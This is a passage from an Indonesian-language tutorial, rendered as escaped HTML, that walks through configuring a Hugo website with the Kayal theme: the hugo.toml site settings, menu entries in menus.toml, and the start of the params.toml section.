&lt;section&gt;&lt;h2&gt;Konfigurasi Sederhana&lt;a href=&quot;#konfigurasi-sederhana&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan mulai mengkonfigurasi beberapa hal agar website kita dapat berjalan dengan lancar menggunakan tema Kayal. Pada bagian ini, saya akan menunjukkan fungsi-fungsi dari ketiga file konfigurasi tadi.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;hugo.toml&lt;a href=&quot;#hugotoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah isi file &lt;strong&gt;&lt;code&gt;hugo.toml&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;hugo.toml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# -- Site Configuration --&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# URL to the root of your website.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# baseURL = &quot;https://your_domain.com/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Site&apos;s language code&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;languageCode&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;en-us&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# title = &quot;Site Title&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# theme = &quot;kayal&quot; # UNCOMMENT THIS LINE&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Number of articles per page in the listing.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;paginate&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;10&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Enable processing of emojis in markdown.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enableEmoji&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Enable creation of robots.txt for search engine crawling.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;enableRobotsTXT&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Length of default summaries.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;summaryLength&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;70&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Build drafts during site generation.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;buildDrafts&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;true&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;sitemap&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;changefreq&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;daily&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;filename&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&apos;sitemap.xml&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;  &lt;/span&gt;&lt;span&gt;priority&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;0.5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Google Analytics Configuration&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [services]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;35&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#   [services.googleAnalytics]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;36&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#     ID = &apos;G-MEASUREMENT_ID&apos;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Pertama, kita perlu meng-uncomment baris ke-9 dan ke-11, yaitu baris &lt;mark&gt; &lt;strong&gt;title&lt;/strong&gt; &lt;/mark&gt; dan &lt;mark&gt; &lt;strong&gt;theme&lt;/strong&gt; &lt;/mark&gt; berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;408&quot; height=&quot;63&quot; src=&quot;/_astro/ss5.CEcOoMge_ZAH4DC.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;info[Keterangan:]&lt;/p&gt;&lt;p&gt;Baris &lt;strong&gt;title&lt;/strong&gt; adalah Judul website yang akan ditampilkan di pojok kiri website (nanti akan saya tunjukkan tangkapan layarnya). Sementara, baris &lt;strong&gt;theme&lt;/strong&gt; tentu saja adalah untuk mengaktifkan tema Kayalnya.&lt;/p&gt;&lt;p&gt;:::&lt;/p&gt;&lt;p&gt;Jika sekarang kita menjalankan websitenya:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;hugo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;server&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;maka, berikut adalah penampakan awal websitenya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;942&quot; height=&quot;386&quot; src=&quot;/_astro/ss6.DTRPsyXv_ZLXz6q.webp&quot; /&gt;&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Menambahkan list heading yang tampil di ToC (Table of Content) alias daftar isi&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Kita hanya perlu menambahan baris berikut di dalam file &lt;code&gt;config/_default/hugo.toml&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;hugo.toml&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;markup&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;[&lt;/span&gt;&lt;span&gt;markup&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;tableOfContents&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;endLevel&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;5&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# ganti di sini, disesuaikan dengan kebutuhan&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;ordered&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;false&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;    &lt;/span&gt;&lt;span&gt;startLevel&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;menus.toml&lt;a href=&quot;#menustoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikut adalah isi file &lt;strong&gt;&lt;code&gt;menu.toml&lt;/code&gt;&lt;/strong&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;menu.toml&lt;/span&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# -- Main Menu --&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# The main menu is displayed in the header at the top of the page.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Acceptable parameters are name, page, url, pre, weight.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# Add a trailing &apos;/&apos; to local URLs.&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# For example: /posts/&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# NOT: /posts&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# `pre` is an icon ID. For a list of all available icons, check [https://github.com/mnjm../images/kayal/tree/main/assets/icons]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [[main]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;posts&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# title = &quot;Posts&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# url = &quot;/posts/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# weight = 1&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [[main]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;18&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;tags&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;19&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# title = &quot;Tags&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;20&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# url = &quot;/tags/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;21&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# weight = 2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;22&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;23&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [[main]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;24&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;about&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;25&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# title = &quot;About&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;26&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# url = &quot;/about/&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;27&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# weight = 3&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;28&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;#&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;29&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# [[main]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;30&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;31&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# pre = &quot;github&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;32&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# name = &quot;&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;33&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# url = &quot;https://github.com/mnjm/kayal&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;34&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;# weight = 4&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Kita hanya perlu meng-&lt;em&gt;uncomment&lt;/em&gt; baris-baris menu apa yang ingin ditampilkan. Misalkan saya ingin menampilkan 3 menu utama, yaitu menu &lt;mark&gt;blog&lt;/mark&gt;, &lt;mark&gt;tutorial&lt;/mark&gt;, dan &lt;mark&gt;about&lt;/mark&gt;. Maka berikut adalah baris-baris yang di-&lt;em&gt;uncomment&lt;/em&gt;:&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;blog&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Blog&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; akan ditampilkan di website&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;/blog/&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; merujuk ke direktori content/blog&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;5&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;1&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; urutan ke-1 tampil di website&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;6&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;7&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;8&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;tutorial&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;9&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;Tutorial&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; akan ditampilkan di website&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;10&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;/tutorial/&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; merujuk ke direktori content/blog&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;11&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;2&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; urutan ke-2 tampil di website&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;12&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;13&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;[[&lt;/span&gt;&lt;span&gt;main&lt;/span&gt;&lt;span&gt;]]&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;14&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;name&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;about&quot;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;15&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;title&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;About&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; akan ditampilkan di website&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;16&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;url&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;&quot;/about/&quot;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; merujuk ke direktori content/blog&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;17&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;weight&lt;/span&gt;&lt;span&gt; = &lt;/span&gt;&lt;span&gt;3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# --&amp;gt; urutan ke-3 tampil di website&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;span&gt;Show more&lt;/span&gt;&lt;span&gt;Show less&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Berikut adalah penampakan website-nya setelah konfigurasi menu ditambahkan:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;378&quot; src=&quot;/_astro/ss7.B7mrYhzY_Z3gMTQ.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Silakan menambahkan, mengurangi, atau memodifikasi sesuai dengan preferensi kalian. Gunakan format seperti yang saya contohkan tersebut.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;params.toml&lt;a href=&quot;#paramstoml&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita bisa mengkonfigurasi beberapa hal di file &lt;strong&gt;&lt;code&gt;params.toml&lt;/code&gt;&lt;/strong&gt; ini. Kita bisa menambahkan pesan &lt;em&gt;greetings&lt;/em&gt;, menambahkan foto, menambahkan icon di judul website, menunjukkan artikel terbaru, hingga pengaturan terkait artikelnya secara spesifik, misalnya menambahkan fitur &lt;em&gt;copy code&lt;/em&gt; pada &lt;em&gt;codeblocks&lt;/em&gt;, memunculkan daftar isi, dan masih banyak 